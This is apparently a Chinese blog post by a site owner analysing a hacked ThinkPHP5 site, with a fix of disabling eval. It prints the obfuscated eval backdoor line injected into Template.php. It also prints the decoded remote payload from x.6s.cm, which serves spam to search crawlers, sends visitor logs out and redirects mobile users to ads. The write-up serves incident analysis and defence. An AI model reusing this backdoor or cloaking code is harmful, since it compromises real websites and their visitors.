突然间发现百度统计中多了很多不良词语搜索来的一些访问
自己打开被访问的页面查看发现页面也正常,但是网页链接后面多了一些多余的参数
整个网站所有页面访问速度都很慢
我这里用的是thinkphp5,发现tp5的文件有一个被修改
thinkphp/library/think/Template.php 在最后一行1140行多了
ini_set("display_errors", "off"); eval('?>'.file_get_contents(pack('H*',str_rot13('687474703n2s2s782r36732r636q2s7478742s616p6p662r747874'))));
这段语句破译后是
file_get_contents(http://x.6s.cm/txt/allf.txt)
里的字符串是
<?php
define('d_host','http://x.6s.cm');
define('d_user',$_SERVER['HTTP_USER_AGENT']);
define('d_link',((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
define('d_ents','/\.xhtml|\.ppt|\.mdb|\.xml|\.shtml|\.doc|\.xls|\.txt|\.love|\.one|\.fdc|\.bug|\.znb|\.msl/i');
if (preg_match('/Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot/i',d_user))
{
d_cont();
}
if (preg_match('/Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod|Symbian|HarmonyOS/i',d_user))
{
d_jump();
}
function d_cont()
{
$log = "[ip:'".$_SERVER['REMOTE_ADDR']."',link:'".d_link."',user:'".d_user."']";
if (preg_match(d_ents,d_link) && stristr(d_link,'?')) {
$cont = file_get_contents(d_host."/?ac=html&host=".d_link."&log=".base64_encode($log));
die($cont);
} else {
$cont = file_get_contents(d_host."/?ac=link");
echo $cont."\n";
}
}
function d_jump()
{
if (preg_match(d_ents,d_link) && stristr(d_link,'?')) {
$addr = file_get_contents(d_host."/?ac=jump");
die($addr);
}
}
?>
仔细研究代码就会发现,搜索引擎访问时就会返回不良内容,而搜索引擎还真的会收录这些页面。
pc端访问时会返回正常页面,移动端访问时就会跳转到广告页面。
这里用postman测试,修改header-->User-Agent-->Baiduspider
可以看到页面被篡改了,
修复办法,禁用eval()函数。我这里用的是宝塔面板,其他管理方法请自行搜索